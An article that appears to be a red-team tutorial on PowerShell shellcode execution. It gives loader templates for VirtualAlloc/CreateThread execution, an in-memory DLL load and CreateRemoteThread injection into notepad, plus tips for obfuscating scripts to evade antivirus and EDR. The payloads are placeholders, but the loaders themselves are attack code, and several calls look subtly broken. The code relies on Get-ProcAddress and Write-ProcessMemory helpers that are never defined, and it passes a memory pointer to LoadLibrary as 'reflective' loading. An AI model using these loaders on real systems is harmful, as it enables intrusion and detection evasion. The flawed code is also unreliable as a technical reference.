Introduction
Shell code is a small piece of code, often written in assembly, used to exploit vulnerabilities or load payloads during penetration testing or attacks. It plays a critical role in delivering malicious code to a target system. PowerShell, with its robust scripting capabilities, provides a versatile tool for both system administrators and attackers. This article explores various techniques for shellcode execution and injection using PowerShell, with clear explanations and examples.
Key Concepts
- Shellcode: Custom binary code executed during exploitation, commonly delivered as hexadecimal or byte arrays.
- PowerShell: A command-line shell and scripting language used for automation and administration on Windows systems.
- Injection: The process of inserting code into the memory space of an existing process for stealthy execution.
ย
Why PowerShell for Shellcode Execution?
PowerShell is an attractive tool for red teamers and attackers due to the following reasons:
- Native to Windows: PowerShell is pre-installed on most modern Windows systems.
- In-Memory Execution: PowerShell allows execution of code directly in memory, avoiding the need to write files to disk.
- Obfuscation: PowerShell scripts can be obfuscated to bypass antivirus (AV) and endpoint detection systems (EDR).
Shellcode Execution Techniques
Below are some common PowerShell techniques for executing shellcode in memory:
1. Direct Shellcode Execution Using VirtualAlloc
and CreateThread
In this method, shellcode is allocated in memory using VirtualAlloc
, and a new thread is created to execute the shellcode using CreateThread
Example:
# Shellcode as a byte array (e.g., calc.exe payload)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_SHELLCODE_HERE>”)
# Get required functions from kernel32.dll
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll VirtualAlloc))
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll CreateThread))
# Allocate memory
$Pointer = $VirtualAlloc.Invoke(0, $Shellcode.Length, 0x1000, 0x40) # MEM_COMMIT, PAGE_EXECUTE_READWRITE
# Copy shellcode to memory
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
# Execute shellcode
$Thread = $CreateThread.Invoke(0, 0, $Pointer, 0, 0, 0)
# Wait for the thread to finish
[System.Threading.Thread]::Sleep(-1)
Explanation:
-
VirtualAlloc: Allocates executable memory with
MEM_COMMIT
andPAGE_EXECUTE_READWRITE
permissions. - Copy Shellcode: The shellcode byte array is copied into the allocated memory.
- CreateThread: Executes the shellcode as a new thread.
2. Reflective DLL Injection Using PowerShell
Example:
This technique involves loading shellcode embedded in a DLL file directly into memory using PowerShell, without writing the DLL to disk.
# Load shellcode (base64 encoded DLL shellcode)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_DLL_SHELLCODE>”)
# Define a delegate to invoke LoadLibrary
$LoadLibrary = Add-Type -MemberDefinition @’
[DllImport(“kernel32.dll”)]
public static extern IntPtr LoadLibrary(string lpFileName);
‘@ -Name “Kernel32” -Namespace “WinAPI” -PassThru
# Allocate memory for shellcode
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll VirtualAlloc))
$Pointer = $VirtualAlloc.Invoke(0, $Shellcode.Length, 0x1000, 0x40)
# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
# Reflectively load DLL
$LibraryHandle = $LoadLibrary::LoadLibrary($Pointer)
# Check result
if ($LibraryHandle -ne 0) {
Write-Output “DLL successfully loaded into memory.”
} else {
Write-Output “Failed to load DLL.”
}
3. Process Injection Using CreateRemoteThread
Process injection is a stealthy technique where shellcode is injected into the memory space of another process (e.g., notepad.exe
) and executed.
# Target process name
$ProcessName = “notepad”
# Shellcode (base64 encoded)
[Byte[]]$Shellcode = [System.Convert]::FromBase64String(“<YOUR_SHELLCODE_HERE>”)
# Get target process
$Process = Get-Process -Name $ProcessName | Select-Object -First 1
$ProcessHandle = $Process.Handle
# Allocate memory in target process
$VirtualAllocEx = Add-Type -MemberDefinition @’
[DllImport(“kernel32.dll”)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
‘@ -Name “Kernel32” -Namespace “WinAPI” -PassThru
$RemoteMemory = $VirtualAllocEx::VirtualAllocEx($ProcessHandle, 0, $Shellcode.Length, 0x1000, 0x40)
# Write shellcode to target process
Write-ProcessMemory $ProcessHandle $RemoteMemory $Shellcode
# Create remote thread
$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Get-ProcAddress kernel32.dll CreateRemoteThread))
$Thread = $CreateRemoteThread.Invoke($ProcessHandle, 0, 0, $RemoteMemory, 0, 0, 0)
Explanation:
- VirtualAllocEx: Allocates memory in the remote process.
- WriteProcessMemory: Writes shellcode into the remote process’s memory.
- CreateRemoteThread: Executes the shellcode in the target process.
Obfuscation Techniques
PowerShell scripts often require obfuscation to evade AV/EDR. Some techniques include:
- Base64 Encoding: Encode the shellcode as a Base64 string.
- Splitting Strings: Break the script into chunks to make detection harder.
- Compression: Use Gzip compression for the script payload.
- Dynamic Assembly Loading: Load PowerShell commands dynamically using reflection.